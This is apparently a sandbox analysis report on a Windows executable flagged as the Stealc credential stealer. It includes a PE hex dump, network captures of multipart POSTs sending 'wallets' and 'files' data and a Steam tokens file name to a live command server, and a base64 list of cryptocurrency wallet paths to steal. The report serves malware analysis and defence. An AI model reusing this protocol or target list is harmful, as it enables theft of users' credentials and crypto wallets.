8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 27, 2024 12:13:29.489559889 CET	203	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBGCGDBKEGHIEBGDBFHD Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 27, 2024 12:13:30.277398109 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 11:13:29 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 27, 2024 12:13:30.336980104 CET	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHDHCAAKECFIDHIEBAKF Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 44 48 43 41 41 4b 45 43 46 49 44 48 49 45 42 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 65 35 63 35 35 31 37 38 30 31 36 66 37 30 33 38 30 36 37 61 31 66 35 62 66 36 66 39 33 38 34 30 38 61 65 65 38 39 35 62 37 34 66 36 32 65 61 35 31 34 35 63 64 35 38 64 66 32 62 65 31 63 32 31 65 38 63 66 38 62 36 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 48 43 41 41 4b 45 43 46 49 44 48 49 45 42 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 48 43 41 41 4b 45 43 46 49 44 48 49 45 42 41 4b 46 2d 2d 0d 0a Data Ascii: ------FHDHCAAKECFIDHIEBAKFContent-Disposition: form-data; name="token"0e5c55178016f7038067a1f5bf6f938408aee895b74f62ea5145cd58df2be1c21e8cf8b6------FHDHCAAKECFIDHIEBAKFContent-Disposition: form-data; name="message"wallets------FHDHCAAKECFIDHIEBAKF--
Oct 27, 2024 12:13:30.621845007 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 11:13:30 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 27, 2024 12:13:30.624325037 CET	467	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJJECBKKECFIEBGCAKJ Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4a 45 43 42 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 65 35 63 35 35 31 37 38 30 31 36 66 37 30 33 38 30 36 37 61 31 66 35 62 66 36 66 39 33 38 34 30 38 61 65 65 38 39 35 62 37 34 66 36 32 65 61 35 31 34 35 63 64 35 38 64 66 32 62 65 31 63 32 31 65 38 63 66 38 62 36 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4a 45 43 42 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4a 45 43 42 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 2d 2d 0d 0a Data Ascii: ------EHJJECBKKECFIEBGCAKJContent-Disposition: form-data; name="token"0e5c55178016f7038067a1f5bf6f938408aee895b74f62ea5145cd58df2be1c21e8cf8b6------EHJJECBKKECFIEBGCAKJContent-Disposition: form-data; name="message"files------EHJJECBKKECFIEBGCAKJ--
Oct 27, 2024 12:13:30.910653114 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 11:13:30 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 27, 2024 12:13:30.923861980 CET	565	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJEGHJECFCFCBFIDBGCG Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 47 48 4a 45 43 46 43 46 43 42 46 49 44 42 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 65 35 63 35 35 31 37 38 30 31 36 66 37 30 33 38 30 36 37 61 31 66 35 62 66 36 66 39 33 38 34 30 38 61 65 65 38 39 35 62 37 34 66 36 32 65 61 35 31 34 35 63 64 35 38 64 66 32 62 65 31 63 32 31 65 38 63 66 38 62 36 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 48 4a 45 43 46 43 46 43 42 46 49 44 42 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 48 4a 45 43 46 43 46 43 42 46 49 44 42 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IJEGHJECFCFCBFIDBGCGContent-Disposition: form-data; name="token"0e5c55178016f7038067a1f5bf6f938408aee895b74f62ea5145cd58df2be1c21e8cf8b6------IJEGHJECFCFCBFIDBGCGContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IJEGHJECFCFCBFIDBGCGContent-Disposition: form-data; name="file"------IJEGHJECFCFCBFIDBGCG--
Oct 27, 2024 12:13:31.698194981 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 11:13:31 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 27, 2024 12:13:31.729044914 CET	474	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAKFBKEHDBGHJJKFIEGD Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 46 42 4b 45 48 44 42 47 48 4a 4a 4b 46 49 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 65 35 63 35 35 31 37 38 30 31 36 66 37 30 33 38 30 36 37 61 31 66 35 62 66 36 66 39 33 38 34 30 38 61 65 65 38 39 35 62 37 34 66 36 32 65 61 35 31 34 35 63 64 35 38 64 66 32 62 65 31 63 32 31 65 38 63 66 38 62 36 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 46 42 4b 45 48 44 42 47 48 4a 4a 4b 46 49 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 46 42 4b 45 48 44 42 47 48 4a 4a 4b 46 49 45 47 44 2d 2d 0d 0a Data Ascii: ------BAKFBKEHDBGHJJKFIEGDContent-Disposition: form-data; name="token"0e5c55178016f7038067a1f5bf6f938408aee895b74f62ea5145cd58df2be1c21e8cf8b6------BAKFBKEHDBGHJJKFIEGDContent-Disposition: form-data; name="message"ybncbhylepme------BAKFBKEHDBGHJJKFIEGD--
Oct 27, 2024 12:13:32.013444901 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 11:13:31 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 27, 2024 12:13:32.015053988 CET	474	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFBGHDGCFHIDBGDGIIIE Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 65 35 63 35 35 31 37 38 30 31 36 66 37 30 33 38 30 36 37 61 31 66 35 62 66 36 66 39 33 38 34 30 38 61 65 65 38 39 35 62 37 34 66 36 32 65 61 35 31 34 35 63 64 35 38 64 66 32 62 65 31 63 32 31 65 38 63 66 38 62 36 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 2d 2d 0d 0a Data Ascii: ------BFBGHDGCFHIDBGDGIIIEContent-Disposition: form-data; name="token"0e5c55178016f7038067a1f5bf6f938408aee895b74f62ea5145cd58df2be1c21e8cf8b6------BFBGHDGCFHIDBGDGIIIEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BFBGHDGCFHIDBGDGIIIE--
Oct 27, 2024 12:13:32.790697098 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 11:13:32 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=78 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	07:13:04
Start date:	27/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xfc0000
File size:	1'861'632 bytes
MD5 hash:	969DE6311FF2108382AFD9FF374BB828
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2052582500.000000000079E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1775454055.0000000004D80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2052582500.0000000000816000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	22%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	29

Executed Functions

Function 00FD9860 Relevance: 80.7, APIs: 33, Strings: 13, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,007B2350), ref: 00FD98A1
GetProcAddress.KERNEL32(74DD0000,007B2380), ref: 00FD98BA
GetProcAddress.KERNEL32(74DD0000,007B2410), ref: 00FD98D2
GetProcAddress.KERNEL32(74DD0000,007B24A0), ref: 00FD98EA
GetProcAddress.KERNEL32(74DD0000,007B2368), ref: 00FD9903
GetProcAddress.KERNEL32(74DD0000,007B9208), ref: 00FD991B
GetProcAddress.KERNEL32(74DD0000,007A5C50), ref: 00FD9933
GetProcAddress.KERNEL32(74DD0000,007A5E50), ref: 00FD994C
GetProcAddress.KERNEL32(74DD0000,007B22A8), ref: 00FD9964
GetProcAddress.KERNEL32(74DD0000,007B23B0), ref: 00FD997C
GetProcAddress.KERNEL32(74DD0000,007B2440), ref: 00FD9995
GetProcAddress.KERNEL32(74DD0000,007B2458), ref: 00FD99AD
GetProcAddress.KERNEL32(74DD0000,007A5D30), ref: 00FD99C5
GetProcAddress.KERNEL32(74DD0000,007B22D8), ref: 00FD99DE
GetProcAddress.KERNEL32(74DD0000,007B2500), ref: 00FD99F6
GetProcAddress.KERNEL32(74DD0000,007A5C30), ref: 00FD9A0E
GetProcAddress.KERNEL32(74DD0000,007B24B8), ref: 00FD9A27
GetProcAddress.KERNEL32(74DD0000,007B23F8), ref: 00FD9A3F
GetProcAddress.KERNEL32(74DD0000,007A5AD0), ref: 00FD9A57
GetProcAddress.KERNEL32(74DD0000,007B22F0), ref: 00FD9A70
GetProcAddress.KERNEL32(74DD0000,007A5B10), ref: 00FD9A88
LoadLibraryA.KERNEL32(007B2488,?,00FD6A00), ref: 00FD9A9A
LoadLibraryA.KERNEL32(007B24D0,?,00FD6A00), ref: 00FD9AAB
LoadLibraryA.KERNEL32(007B2398,?,00FD6A00), ref: 00FD9ABD
LoadLibraryA.KERNEL32(007B2218,?,00FD6A00), ref: 00FD9ACF
LoadLibraryA.KERNEL32(007B2230,?,00FD6A00), ref: 00FD9AE0
GetProcAddress.KERNEL32(75A70000,007B2308), ref: 00FD9B02
GetProcAddress.KERNEL32(75290000,007B2248), ref: 00FD9B23
GetProcAddress.KERNEL32(75290000,007B2260), ref: 00FD9B3B
GetProcAddress.KERNEL32(75BD0000,007B2338), ref: 00FD9B5D
GetProcAddress.KERNEL32(75450000,007A5CF0), ref: 00FD9B7E
GetProcAddress.KERNEL32(76E90000,007B9218), ref: 00FD9B9F
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 00FD9BB6

Strings

0\z, xrefs: 00FD9A01
X${, xrefs: 00FD99A0
NtQueryInformationProcess, xrefs: 00FD9BAA
`"{, xrefs: 00FD9B2E
P#{, xrefs: 00FD9894
P^z, xrefs: 00FD993E
@${, xrefs: 00FD9987
8#{, xrefs: 00FD9B4F
0"{, xrefs: 00FD9ADA
h#{, xrefs: 00FD98F5
0]z, xrefs: 00FD99B8
P\z, xrefs: 00FD9926
H"{, xrefs: 00FD9B16

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: 0"{$0\z$0]z$8#{$@${$H"{$NtQueryInformationProcess$P#{$P\z$P^z$X${$`"{$h#{
API String ID: 2238633743-2190218941
Opcode ID: 22d250c7d0340ff212032ffe3f11f82d0f79486e0b751cf0235b7b16676da5fe
Instruction ID: 347d158c41029fc4833d106bf1d963884e868f71c47a2e4549b2895023cde200
Opcode Fuzzy Hash: 22d250c7d0340ff212032ffe3f11f82d0f79486e0b751cf0235b7b16676da5fe
Instruction Fuzzy Hash: A0A17EB5511300DFD36AEFA8F98CA6A3BF9F78C301784871AA606C725ED7399941DB10

Function 00FC45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00FC460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00FC479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FC46CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FC4713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FC4770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FC4678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FC473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FC4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FC45DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FC45F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FC4729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FC474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FC45E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FC471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FC4683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FC462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FC4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FC477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FC4765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FC4657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FC4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FC4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FC466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FC4662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FC46AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FC46D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FC45C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FC46B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FC4734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FC46C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FC475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FC45D2

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
